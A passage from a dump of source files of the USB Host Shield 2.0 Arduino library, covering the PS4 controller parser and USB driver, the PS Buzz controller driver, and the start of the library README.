(b == L2) // These are the only analog buttons on the controller\n                return ps4Data.trigger[0];\n        else if (b == R2)\n                return ps4Data.trigger[1];\n        return 0;\n}\n\nuint8_t PS4Parser::getAnalogHat(AnalogHatEnum a) {\n        return ps4Data.hatValue[(uint8_t)a];\n}\n\nvoid PS4Parser::Parse(uint8_t len, uint8_t *buf) {\n        if (len > 1 && buf)  {\n#ifdef PRINTREPORT\n                Notify(PSTR(\"\\r\\n\"), 0x80);\n                for (uint8_t i = 0; i < len; i++) {\n                        D_PrintHex<uint8_t > (buf[i], 0x80);\n                        Notify(PSTR(\" \"), 0x80);\n                }\n#endif\n\n                if (buf[0] == 0x01) // Check report ID\n                        memcpy(&ps4Data, buf + 1, min((uint8_t)(len - 1), MFK_CASTUINT8T sizeof(ps4Data)));\n                else if (buf[0] == 0x11) { // This report is send via Bluetooth, it has an offset of 2 compared to the USB data\n                        if (len < 4) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nReport is too short: \"), 0x80);\n                                D_PrintHex<uint8_t > (len, 0x80);\n#endif\n                                return;\n                        }\n                        memcpy(&ps4Data, buf + 3, min((uint8_t)(len - 3), MFK_CASTUINT8T sizeof(ps4Data)));\n                } else {\n#ifdef DEBUG_USB_HOST\n                        Notify(PSTR(\"\\r\\nUnknown report id: \"), 0x80);\n                        D_PrintHex<uint8_t > (buf[0], 0x80);\n#endif\n                        return;\n                }\n\n                if (ps4Data.btn.val != oldButtonState.val) { // Check if anything has changed\n                        buttonClickState.val = ps4Data.btn.val & ~oldButtonState.val; // Update click state variable\n                        oldButtonState.val = ps4Data.btn.val;\n\n                        // The DPAD buttons does not set the different bits, but set a value corresponding to the buttons pressed, we will simply set the bits ourself\n                        uint8_t newDpad = 0;\n                        if (checkDpad(UP))\n                                newDpad |= 1 << UP;\n                        if (checkDpad(RIGHT))\n                                newDpad |= 1 << RIGHT;\n                        if (checkDpad(DOWN))\n                                newDpad |= 1 << DOWN;\n                        if (checkDpad(LEFT))\n                                newDpad |= 1 << LEFT;\n                        if (newDpad != oldDpad) {\n                                buttonClickState.dpad = newDpad & ~oldDpad; // Override values\n                                oldDpad = newDpad;\n                        }\n                }\n        }\n\n        if (ps4Output.reportChanged)\n                sendOutputReport(&ps4Output); // Send output report\n}\n\nvoid PS4Parser::Reset() {\n        uint8_t i;\n        for (i = 0; i < sizeof(ps4Data.hatValue); i++)\n                ps4Data.hatValue[i] = 127; // Center value\n        ps4Data.btn.val = 0;\n        oldButtonState.val = 0;\n        for (i = 0; i < sizeof(ps4Data.trigger); i++)\n                ps4Data.trigger[i] = 0;\n        for (i = 0; i < sizeof(ps4Data.xy)/sizeof(ps4Data.xy[0]); i++) {\n                for (uint8_t j = 0; j < sizeof(ps4Data.xy[0].finger)/sizeof(ps4Data.xy[0].finger[0]); j++)\n                        ps4Data.xy[i].finger[j].touching = 1; // The bit is cleared if the finger is touching the touchpad\n        }\n\n        ps4Data.btn.dpad = DPAD_OFF;\n        oldButtonState.dpad = DPAD_OFF;\n        buttonClickState.dpad = 0;\n        oldDpad = 0;\n\n        ps4Output.bigRumble = ps4Output.smallRumble = 0;\n        ps4Output.r = ps4Output.g = ps4Output.b = 0;\n        ps4Output.flashOn = ps4Output.flashOff = 0;\n        ps4Output.reportChanged = false;\n};\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS4Parser.h",
    "content": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _ps4parser_h_\n#define _ps4parser_h_\n\n#include \"Usb.h\"\n#include \"controllerEnums.h\"\n\n/** Buttons on the controller */\nconst uint8_t PS4_BUTTONS[] PROGMEM = {\n        UP, // UP\n        RIGHT, // RIGHT\n        DOWN, // DOWN\n        LEFT, // LEFT\n\n        0x0C, // SHARE\n        0x0D, // OPTIONS\n        0x0E, // L3\n        0x0F, // R3\n\n        0x0A, // L2\n        0x0B, // R2\n        0x08, // L1\n        0x09, // R1\n\n        0x07, // TRIANGLE\n        0x06, // CIRCLE\n        0x05, // CROSS\n        0x04, // SQUARE\n\n        0x10, // PS\n        0x11, // TOUCHPAD\n};\n\nunion PS4Buttons {\n        struct {\n                uint8_t dpad : 4;\n                uint8_t square : 1;\n                uint8_t cross : 1;\n                uint8_t circle : 1;\n                uint8_t triangle : 1;\n\n                uint8_t l1 : 1;\n                uint8_t r1 : 1;\n                uint8_t l2 : 1;\n                uint8_t r2 : 1;\n                uint8_t share : 1;\n                uint8_t options : 1;\n                uint8_t l3 : 1;\n                uint8_t r3 : 1;\n\n                uint8_t ps : 1;\n                uint8_t touchpad : 1;\n                uint8_t reportCounter : 6;\n        } __attribute__((packed));\n        uint32_t val : 24;\n} __attribute__((packed));\n\nstruct touchpadXY {\n        uint8_t dummy; // I can not figure out what this data is for, it seems to change randomly, maybe a timestamp?\n        struct {\n                uint8_t counter : 7; // Increments every time a finger is touching the touchpad\n                uint8_t touching : 1; // The top bit is cleared if the finger is touching the touchpad\n                uint16_t x : 12;\n                uint16_t y : 12;\n        } __attribute__((packed)) finger[2]; // 0 = first finger, 1 = second finger\n} __attribute__((packed));\n\nstruct PS4Status {\n        uint8_t battery : 4;\n        uint8_t usb : 1;\n        uint8_t audio : 1;\n        uint8_t mic : 1;\n        uint8_t unknown : 1; // Extension port?\n} __attribute__((packed));\n\nstruct PS4Data {\n        /* Button and joystick values */\n        uint8_t hatValue[4];\n        PS4Buttons btn;\n        uint8_t trigger[2];\n\n        /* Gyro and accelerometer values */\n        uint8_t dummy[3]; // First two looks random, while the third one might be some kind of status - it increments once in a while\n        int16_t gyroY, gyroZ, gyroX;\n        int16_t accX, accZ, accY;\n\n        uint8_t dummy2[5];\n        PS4Status status;\n        uint8_t dummy3[3];\n\n        /* The rest is data for the touchpad */\n        touchpadXY xy[3]; // It looks like it sends out three coordinates each time, this might be because the microcontroller inside the PS4 controller is much faster than the Bluetooth connection.\n                          // The last data is read from the last position in the array while the oldest measurement is from the first position.\n                          // The first position will also keep it's value after the finger is released, while the other two will set them to zero.\n                          // Note that if you read fast enough from the device, then only the first one will contain any data.\n\n        // The last three bytes are always: 0x00, 0x80, 0x00\n} __attribute__((packed));\n\nstruct PS4Output {\n        uint8_t bigRumble, smallRumble; // Rumble\n        uint8_t r, g, b; // RGB\n        uint8_t flashOn, flashOff; // Time to flash bright/dark (255 = 2.5 seconds)\n        bool reportChanged; // The data is send when data is received from the controller\n} __attribute__((packed));\n\n/** This class parses all the data sent by the PS4 controller */\nclass PS4Parser {\npublic:\n        /** Constructor for the PS4Parser class. */\n        PS4Parser() {\n                Reset();\n        };\n\n        /** @name PS4 Controller functions */\n        /**\n         * getButtonPress(ButtonEnum b) will return true as long as the button is held down.\n         *\n         * While getButtonClick(ButtonEnum b) will only return it once.\n         *\n         * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b),\n         * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b).\n         * @param  b          ::ButtonEnum to read.\n         * @return            getButtonPress(ButtonEnum b) will return a true as long as a button is held down, while getButtonClick(ButtonEnum b) will return true once for each button press.\n         */\n        bool getButtonPress(ButtonEnum b);\n        bool getButtonClick(ButtonEnum b);\n        /**@}*/\n        /** @name PS4 Controller functions */\n        /**\n         * Used to get the analog value from button presses.\n         * @param  b The ::ButtonEnum to read.\n         * The supported buttons are:\n         * ::UP, ::RIGHT, ::DOWN, ::LEFT, ::L1, ::L2, ::R1, ::R2,\n         * ::TRIANGLE, ::CIRCLE, ::CROSS, ::SQUARE, and ::T.\n         * @return   Analog value in the range of 0-255.\n         */\n        uint8_t getAnalogButton(ButtonEnum b);\n\n        /**\n         * Used to read the analog joystick.\n         * @param  a ::LeftHatX, ::LeftHatY, ::RightHatX, and ::RightHatY.\n         * @return   Return the analog value in the range of 0-255.\n         */\n        uint8_t getAnalogHat(AnalogHatEnum a);\n\n        /**\n         * Get the x-coordinate of the touchpad. Position 0 is in the top left.\n         * @param  finger 0 = first finger, 1 = second finger. If omitted, then 0 will be used.\n         * @param  xyId   The controller sends out three packets with the same structure.\n         *                The third one will contain the last measure, but if you read from the controller then there is only be data in the first one.\n         *                For that reason it will be set to 0 if the argument is omitted.\n         * @return        Returns the x-coordinate of the finger.\n         */\n        uint16_t getX(uint8_t finger = 0, uint8_t xyId = 0) {\n                return ps4Data.xy[xyId].finger[finger].x;\n        };\n\n        /**\n         * Get the y-coordinate of the touchpad. Position 0 is in the top left.\n         * @param  finger 0 = first finger, 1 = second finger. If omitted, then 0 will be used.\n         * @param  xyId   The controller sends out three packets with the same structure.\n         *                The third one will contain the last measure, but if you read from the controller then there is only be data in the first one.\n         *                For that reason it will be set to 0 if the argument is omitted.\n         * @return        Returns the y-coordinate of the finger.\n         */\n        uint16_t getY(uint8_t finger = 0, uint8_t xyId = 0) {\n                return ps4Data.xy[xyId].finger[finger].y;\n        };\n\n        /**\n         * Returns whenever the user is toucing the touchpad.\n         * @param  finger 0 = first finger, 1 = second finger. If omitted, then 0 will be used.\n         * @param  xyId   The controller sends out three packets with the same structure.\n         *                The third one will contain the last measure, but if you read from the controller then there is only be data in the first one.\n         *                For that reason it will be set to 0 if the argument is omitted.\n         * @return        Returns true if the specific finger is touching the touchpad.\n         */\n        bool isTouching(uint8_t finger = 0, uint8_t xyId = 0) {\n                return !(ps4Data.xy[xyId].finger[finger].touching); // The bit is cleared when a finger is touching the touchpad\n        };\n\n        /**\n         * This counter increments every time a finger touches the touchpad.\n         * @param  finger 0 = first finger, 1 = second finger. If omitted, then 0 will be used.\n         * @param  xyId   The controller sends out three packets with the same structure.\n         *                The third one will contain the last measure, but if you read from the controller then there is only be data in the first one.\n         *                For that reason it will be set to 0 if the argument is omitted.\n         * @return        Return the value of the counter, note that it is only a 7-bit value.\n         */\n        uint8_t getTouchCounter(uint8_t finger = 0, uint8_t xyId = 0) {\n                return ps4Data.xy[xyId].finger[finger].counter;\n        };\n\n        /**\n         * Get the angle of the controller calculated using the accelerometer.\n         * @param  a Either ::Pitch or ::Roll.\n         * @return   Return the angle in the range of 0-360.\n         */\n        float getAngle(AngleEnum a) {\n                if (a == Pitch)\n                        return (atan2f(ps4Data.accY, ps4Data.accZ) + PI) * RAD_TO_DEG;\n                else\n                        return (atan2f(ps4Data.accX, ps4Data.accZ) + PI) * RAD_TO_DEG;\n        };\n\n        /**\n         * Used to get the raw values from the 3-axis gyroscope and 3-axis accelerometer inside the PS4 controller.\n         * @param  s The sensor to read.\n         * @return   Returns the raw sensor reading.\n         */\n        int16_t getSensor(SensorEnum s) {\n                switch(s) {\n                        case gX:\n                                return ps4Data.gyroX;\n                        case gY:\n                                return ps4Data.gyroY;\n                        case gZ:\n                                return ps4Data.gyroZ;\n                        case aX:\n                                return ps4Data.accX;\n                        case aY:\n                                return ps4Data.accY;\n                        case aZ:\n                                return ps4Data.accZ;\n                        default:\n                                return 0;\n                }\n        };\n\n        /**\n         * Return the battery level of the PS4 controller.\n         * @return The battery level in the range 0-15.\n         */\n        uint8_t getBatteryLevel() {\n                return ps4Data.status.battery;\n        };\n\n        /**\n         * Use this to check if an USB cable is connected to the PS4 controller.\n         * @return Returns true if an USB cable is connected.\n         */\n        bool getUsbStatus() {\n                return ps4Data.status.usb;\n        };\n\n        /**\n         * Use this to check if an audio jack cable is connected to the PS4 controller.\n         * @return Returns true if an audio jack cable is connected.\n         */\n        bool getAudioStatus() {\n                return ps4Data.status.audio;\n        };\n\n        /**\n         * Use this to check if a microphone is connected to the PS4 controller.\n         * @return Returns true if a microphone is connected.\n         */\n        bool getMicStatus() {\n                return ps4Data.status.mic;\n        };\n\n        /** Turn both rumble and the LEDs off. */\n        void setAllOff() {\n                setRumbleOff();\n                setLedOff();\n        };\n\n        /** Set rumble off. */\n        void setRumbleOff() {\n                setRumbleOn(0, 0);\n        };\n\n        /**\n         * Turn on rumble.\n         * @param mode Either ::RumbleHigh or ::RumbleLow.\n         */\n        void setRumbleOn(RumbleEnum mode) {\n                if (mode == RumbleLow)\n                        setRumbleOn(0x00, 0xFF);\n                else\n                        setRumbleOn(0xFF, 0x00);\n        };\n\n        /**\n         * Turn on rumble.\n         * @param bigRumble   Value for big motor.\n         * @param smallRumble Value for small motor.\n         */\n        void setRumbleOn(uint8_t bigRumble, uint8_t smallRumble) {\n                ps4Output.bigRumble = bigRumble;\n                ps4Output.smallRumble = smallRumble;\n                ps4Output.reportChanged = true;\n        };\n\n        /** Turn all LEDs off. */\n        void setLedOff() {\n                setLed(0, 0, 0);\n        };\n\n        /**\n         * Use this to set the color using RGB values.\n         * @param r,g,b RGB value.\n         */\n        void setLed(uint8_t r, uint8_t g, uint8_t b) {\n                ps4Output.r = r;\n                ps4Output.g = g;\n                ps4Output.b = b;\n                ps4Output.reportChanged = true;\n        };\n\n        /**\n         * Use this to set the color using the predefined colors in ::ColorsEnum.\n         * @param color The desired color.\n         */\n        void setLed(ColorsEnum color) {\n                setLed((uint8_t)(color >> 16), (uint8_t)(color >> 8), (uint8_t)(color));\n        };\n\n        /**\n         * Set the LEDs flash time.\n         * @param flashOn  Time to flash bright (255 = 2.5 seconds).\n         * @param flashOff Time to flash dark (255 = 2.5 seconds).\n         */\n        void setLedFlash(uint8_t flashOn, uint8_t flashOff) {\n                ps4Output.flashOn = flashOn;\n                ps4Output.flashOff = flashOff;\n                ps4Output.reportChanged = true;\n        };\n        /**@}*/\n\nprotected:\n        /**\n         * Used to parse data sent from the PS4 controller.\n         * @param len Length of the data.\n         * @param buf Pointer to the data buffer.\n         */\n        void Parse(uint8_t len, uint8_t *buf);\n\n        /** Used to reset the different buffers to their default values */\n        void Reset();\n\n        /**\n         * Send the output to the PS4 controller. This is implemented in PS4BT.h and PS4USB.h.\n         * @param output Pointer to PS4Output buffer;\n         */\n        virtual void sendOutputReport(PS4Output *output) = 0;\n\nprivate:\n        bool checkDpad(ButtonEnum b); // Used to check PS4 DPAD buttons\n\n        PS4Data ps4Data;\n        PS4Buttons oldButtonState, buttonClickState;\n        PS4Output ps4Output;\n        uint8_t oldDpad;\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS4USB.h",
    "content": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _ps4usb_h_\n#define _ps4usb_h_\n\n#include \"hiduniversal.h\"\n#include \"PS4Parser.h\"\n\n#define PS4_VID         0x054C // Sony Corporation\n#define PS4_PID         0x05C4 // PS4 Controller\n#define PS4_PID_SLIM    0x09CC // PS4 Slim Controller\n\n/**\n * This class implements support for the PS4 controller via USB.\n * It uses the HIDUniversal class for all the USB communication.\n */\nclass PS4USB : public HIDUniversal, public PS4Parser {\npublic:\n        /**\n         * Constructor for the PS4USB class.\n         * @param  p   Pointer to the USB class instance.\n         */\n        PS4USB(USB *p) :\n        HIDUniversal(p) {\n                PS4Parser::Reset();\n        };\n\n        /**\n         * Used to check if a PS4 controller is connected.\n         * @return Returns true if it is connected.\n         */\n        bool connected() {\n                return HIDUniversal::isReady() && HIDUniversal::VID == PS4_VID && (HIDUniversal::PID == PS4_PID || HIDUniversal::PID == PS4_PID_SLIM);\n        };\n\n        /**\n         * Used to call your own function when the device is successfully initialized.\n         * @param funcOnInit Function to call.\n         */\n        void attachOnInit(void (*funcOnInit)(void)) {\n                pFuncOnInit = funcOnInit;\n        };\n\nprotected:\n        /** @name HIDUniversal implementation */\n        /**\n         * Used to parse USB HID data.\n         * @param hid       Pointer to the HID class.\n         * @param is_rpt_id Only used for Hubs.\n         * @param len       The length of the incoming data.\n         * @param buf       Pointer to the data buffer.\n         */\n        virtual void ParseHIDData(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf) {\n                if (HIDUniversal::VID == PS4_VID && (HIDUniversal::PID == PS4_PID || HIDUniversal::PID == PS4_PID_SLIM))\n                        PS4Parser::Parse(len, buf);\n        };\n\n        /**\n         * Called when a device is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         */\n        virtual uint8_t OnInitSuccessful() {\n                if (HIDUniversal::VID == PS4_VID && (HIDUniversal::PID == PS4_PID || HIDUniversal::PID == PS4_PID_SLIM)) {\n                        PS4Parser::Reset();\n                        if (pFuncOnInit)\n                                pFuncOnInit(); // Call the user function\n                        else\n                                setLed(Blue);\n                };\n                return 0;\n        };\n        /**@}*/\n\n        /** @name PS4Parser implementation */\n        virtual void sendOutputReport(PS4Output *output) { // Source: https://github.com/chrippa/ds4drv\n                uint8_t buf[32];\n                memset(buf, 0, sizeof(buf));\n\n                buf[0] = 0x05; // Report ID\n                buf[1]= 0xFF;\n\n                buf[4] = output->smallRumble; // Small Rumble\n                buf[5] = output->bigRumble; // Big rumble\n\n                buf[6] = output->r; // Red\n                buf[7] = output->g; // Green\n                buf[8] = output->b; // Blue\n\n                buf[9] = output->flashOn; // Time to flash bright (255 = 2.5 seconds)\n                buf[10] = output->flashOff; // Time to flash dark (255 = 2.5 seconds)\n\n                output->reportChanged = false;\n\n                // The PS4 console actually set the four last bytes to a CRC32 checksum, but it seems like it is actually not needed\n\n                pUsb->outTransfer(bAddress, epInfo[ hidInterfaces[0].epIndex[epInterruptOutIndex] ].epAddr, sizeof(buf), buf);\n        };\n        /**@}*/\n\n        /** @name USBDeviceConfig implementation */\n        /**\n         * Used by the USB core to check what this driver support.\n         * @param  vid The device's VID.\n         * @param  pid The device's PID.\n         * @return     Returns true if the device's VID and PID matches this driver.\n         */\n        virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {\n                return (vid == PS4_VID && (pid == PS4_PID || HIDUniversal::PID == PS4_PID_SLIM));\n        };\n        /**@}*/\n\nprivate:\n        void (*pFuncOnInit)(void); // Pointer to function called in onInit()\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PSBuzz.cpp",
    "content": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#include \"PSBuzz.h\"\n\n// To enable serial debugging see \"settings.h\"\n//#define PRINTREPORT // Uncomment to print the report send by the PS Buzz Controllers\n\nvoid PSBuzz::ParseHIDData(USBHID *hid __attribute__((unused)), bool is_rpt_id __attribute__((unused)), uint8_t len, uint8_t *buf) {\n        if (HIDUniversal::VID == PSBUZZ_VID && HIDUniversal::PID == PSBUZZ_PID && len > 2 && buf) {\n#ifdef PRINTREPORT\n                Notify(PSTR(\"\\r\\n\"), 0x80);\n                for (uint8_t i = 0; i < len; i++) {\n                        D_PrintHex<uint8_t > (buf[i], 0x80);\n                        Notify(PSTR(\" \"), 0x80);\n                }\n#endif\n                memcpy(&psbuzzButtons, buf + 2, min((uint8_t)(len - 2), MFK_CASTUINT8T sizeof(psbuzzButtons)));\n\n                if (psbuzzButtons.val != oldButtonState.val) { // Check if anything has changed\n                        buttonClickState.val = psbuzzButtons.val & ~oldButtonState.val; // Update click state variable\n                        oldButtonState.val = psbuzzButtons.val;\n                }\n        }\n};\n\nuint8_t PSBuzz::OnInitSuccessful() {\n        if (HIDUniversal::VID == PSBUZZ_VID && HIDUniversal::PID == PSBUZZ_PID) {\n                Reset();\n                if (pFuncOnInit)\n                        pFuncOnInit(); // Call the user function\n                else\n                        setLedOnAll(); // Turn the LED on, on all four controllers\n        };\n        return 0;\n};\n\nbool PSBuzz::getButtonPress(ButtonEnum b, uint8_t controller) {\n        return psbuzzButtons.val & (1UL << (b + 5 * controller)); // Each controller uses 5 bits, so the value is shifted 5 for each controller\n};\n\nbool PSBuzz::getButtonClick(ButtonEnum b, uint8_t controller) {\n        uint32_t mask = (1UL << (b + 5 * controller)); // Each controller uses 5 bits, so the value is shifted 5 for each controller\n        bool click = buttonClickState.val & mask;\n        buttonClickState.val &= ~mask; // Clear \"click\" event\n        return click;\n};\n\n// Source: http://www.developerfusion.com/article/84338/making-usb-c-friendly/ and https://github.com/torvalds/linux/blob/master/drivers/hid/hid-sony.c\nvoid PSBuzz::setLedRaw(bool value, uint8_t controller) {\n        ledState[controller] = value; // Save value for next time it is called\n\n        uint8_t buf[7];\n        buf[0] = 0x00;\n        buf[1] = ledState[0] ? 0xFF : 0x00;\n        buf[2] = ledState[1] ? 0xFF : 0x00;\n        buf[3] = ledState[2] ? 0xFF : 0x00;\n        buf[4] = ledState[3] ? 0xFF : 0x00;\n        buf[5] = 0x00;\n        buf[6] = 0x00;\n\n        PSBuzz_Command(buf, sizeof(buf));\n};\n\nvoid PSBuzz::PSBuzz_Command(uint8_t *data, uint16_t nbytes) {\n        // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x00), Report Type (Output 0x02), interface (0x00), datalength, datalength, data)\n        pUsb->ctrlReq(bAddress, epInfo[0].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x00, 0x02, 0x00, nbytes, nbytes, data, NULL);\n};\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PSBuzz.h",
    "content": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _psbuzz_h_\n#define _psbuzz_h_\n\n#include \"hiduniversal.h\"\n#include \"controllerEnums.h\"\n\n#define PSBUZZ_VID 0x054C // Sony Corporation\n#define PSBUZZ_PID 0x1000 // PS Buzz Controller\n\n/** Struct used to easily read the different buttons on the controllers */\nunion PSBUZZButtons {\n        struct {\n                uint8_t red : 1;\n                uint8_t yellow : 1;\n                uint8_t green : 1;\n                uint8_t orange : 1;\n                uint8_t blue : 1;\n        } __attribute__((packed)) btn[4];\n        uint32_t val : 20;\n} __attribute__((packed));\n\n/**\n * This class implements support for the PS Buzz controllers via USB.\n * It uses the HIDUniversal class for all the USB communication.\n */\nclass PSBuzz : public HIDUniversal {\npublic:\n        /**\n         * Constructor for the PSBuzz class.\n         * @param  p   Pointer to the USB class instance.\n         */\n        PSBuzz(USB *p) :\n        HIDUniversal(p) {\n                Reset();\n        };\n\n        /**\n         * Used to check if a PS Buzz controller is connected.\n         * @return Returns true if it is connected.\n         */\n        bool connected() {\n                return HIDUniversal::isReady() && HIDUniversal::VID == PSBUZZ_VID && HIDUniversal::PID == PSBUZZ_PID;\n        };\n\n        /**\n         * Used to call your own function when the device is successfully initialized.\n         * @param funcOnInit Function to call.\n         */\n        void attachOnInit(void (*funcOnInit)(void)) {\n                pFuncOnInit = funcOnInit;\n        };\n\n        /** @name PS Buzzer Controller functions */\n        /**\n         * getButtonPress(ButtonEnum b) will return true as long as the button is held down.\n         *\n         * While getButtonClick(ButtonEnum b) will only return it once.\n         *\n         * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b),\n         * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b).\n         * @param  b          ::ButtonEnum to read.\n         * @param  controller The controller to read from. Default to 0.\n         * @return            getButtonPress(ButtonEnum b) will return a true as long as a button is held down, while getButtonClick(ButtonEnum b) will return true once for each button press.\n         */\n        bool getButtonPress(ButtonEnum b, uint8_t controller = 0);\n        bool getButtonClick(ButtonEnum b, uint8_t controller = 0);\n        /**@}*/\n        /** @name PS Buzzer Controller functions */\n        /**\n         * Set LED value without using ::LEDEnum.\n         * @param value See: ::LEDEnum.\n         */\n        /**\n         * Set LED values directly.\n         * @param value      Used to set whenever the LED should be on or off\n         * @param controller The controller to control. Defaults to 0.\n         */\n        void setLedRaw(bool value, uint8_t controller = 0);\n\n        /** Turn all LEDs off. */\n        void setLedOffAll() {\n                for (uint8_t i = 1; i < 4; i++) // Skip first as it will be set in setLedRaw\n                        ledState[i] = false; // Just an easy way to set all four off at the same time\n                setLedRaw(false); // Turn the LED off, on all four controllers\n        };\n\n        /**\n         * Turn the LED off on a specific controller.\n         * @param controller The controller to turn off. Defaults to 0.\n         */\n        void setLedOff(uint8_t controller = 0) {\n                setLedRaw(false, controller);\n        };\n\n\n        /** Turn all LEDs on. */\n        void setLedOnAll() {\n                for (uint8_t i = 1; i < 4; i++) // Skip first as it will be set in setLedRaw\n                        ledState[i] = true; // Just an easy way to set all four off at the same time\n                setLedRaw(true); // Turn the LED on, on all four controllers\n        };\n\n        /**\n         * Turn the LED on on a specific controller.\n         * @param controller The controller to turn off. Defaults to 0.\n         */\n        void setLedOn(uint8_t controller = 0) {\n                setLedRaw(true, controller);\n        };\n\n        /**\n         * Toggle the LED on a specific controller.\n         * @param controller The controller to turn off. Defaults to 0.\n         */\n        void setLedToggle(uint8_t controller = 0) {\n                setLedRaw(!ledState[controller], controller);\n        };\n        /**@}*/\n\nprotected:\n        /** @name HIDUniversal implementation */\n        /**\n         * Used to parse USB HID data.\n         * @param hid       Pointer to the HID class.\n         * @param is_rpt_id Only used for Hubs.\n         * @param len       The length of the incoming data.\n         * @param buf       Pointer to the data buffer.\n         */\n        void ParseHIDData(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf);\n\n        /**\n         * Called when a device is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         */\n        uint8_t OnInitSuccessful();\n        /**@}*/\n\n        /** Used to reset the different buffers to their default values */\n        void Reset() {\n                psbuzzButtons.val = 0;\n                oldButtonState.val = 0;\n                buttonClickState.val = 0;\n                for (uint8_t i = 0; i < sizeof(ledState); i++)\n                        ledState[i] = 0;\n        };\n\n        /** @name USBDeviceConfig implementation */\n        /**\n         * Used by the USB core to check what this driver support.\n         * @param  vid The device's VID.\n         * @param  pid The device's PID.\n         * @return     Returns true if the device's VID and PID matches this driver.\n         */\n        virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {\n                return (vid == PSBUZZ_VID && pid == PSBUZZ_PID);\n        };\n        /**@}*/\n\nprivate:\n        void (*pFuncOnInit)(void); // Pointer to function called in onInit()\n\n        void PSBuzz_Command(uint8_t *data, uint16_t nbytes);\n\n        PSBUZZButtons psbuzzButtons, oldButtonState, buttonClickState;\n        bool ledState[4];\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/README.md",
    "content": "# USB Host Library Rev.2.0\n\nThe code is released under the GNU General Public License.\n__________\n[![Build Status](https://travis-ci.org/felis/USB_Host_Shield_2.0.svg?branch=master)](https://travis-ci.org/felis/USB_Host_Shield_2.0)\n\n# Summary\nThis is Revision 2.0 of MAX3421E-based USB Host Shield Library for AVR's.\n\nProject main web site is: <http://www.circuitsathome.com>.\n\nSome information can also be found at: <http://blog.tkjelectronics.dk/>.\n\nThe shield can be purchased at the main site: <http://www.circuitsathome.com/products-page/arduino-shields> or from [TKJ Electronics](http://tkjelectronics.com/): <http://shop.tkjelectronics.dk/product_info.php?products_id=43>.\n\n![USB Host Shield](http://shop.tkjelectronics.dk/images/USB_Host_Shield1.jpg)\n\nFor more information about the hardware see the [Hardware Manual](http://www.circuitsathome.com/usb-host-shield-hardware-manual).\n\n# Developed By\n\n* __Oleg Mazurov, Circuits@Home__ - <mazurov@circuitsathome.com>\n* __Alexei Glushchenko, Circuits@Home__ - <alex-gl@mail.ru>\n    * Developers of the USB Core, HID, FTDI, ADK, ACM, and PL2303 libraries\n* __Kristian Lauszus, TKJ Electronics__ - <kristianl@tkjelectronics.com>\n    * Developer of the [BTD](#bluetooth-libraries), [BTHID](#bthid-library), [SPP](#spp-library), [PS4](#ps4-library), [PS3](#ps3-library), [Wii](#wii-library), [Xbox](#xbox-library), and [PSBuzz](#ps-buzz-library) libraries\n* __Andrew Kroll__ - <xxxajk@gmail.com>\n    * Major contributor to mass storage code\n* __guruthree__\n    * [Xbox ONE](#xbox-one-library) controller support\n* __Yuuichi Akagawa__ - [@YuuichiAkagawa](https://twitter.com/yuuichiakagawa)\n    * Developer of the [MIDI](#midi-library) library\n\n# Donate\n\nHelp yourself by helping us support you! Many thousands of hours have been spent developing the USB Host Shield library. Since you find it useful, please consider donating via the button below. Donations will allow us to support you by ensuring hardware that you have can be acquired in order to add support for your microcontroller board.\n\n<a 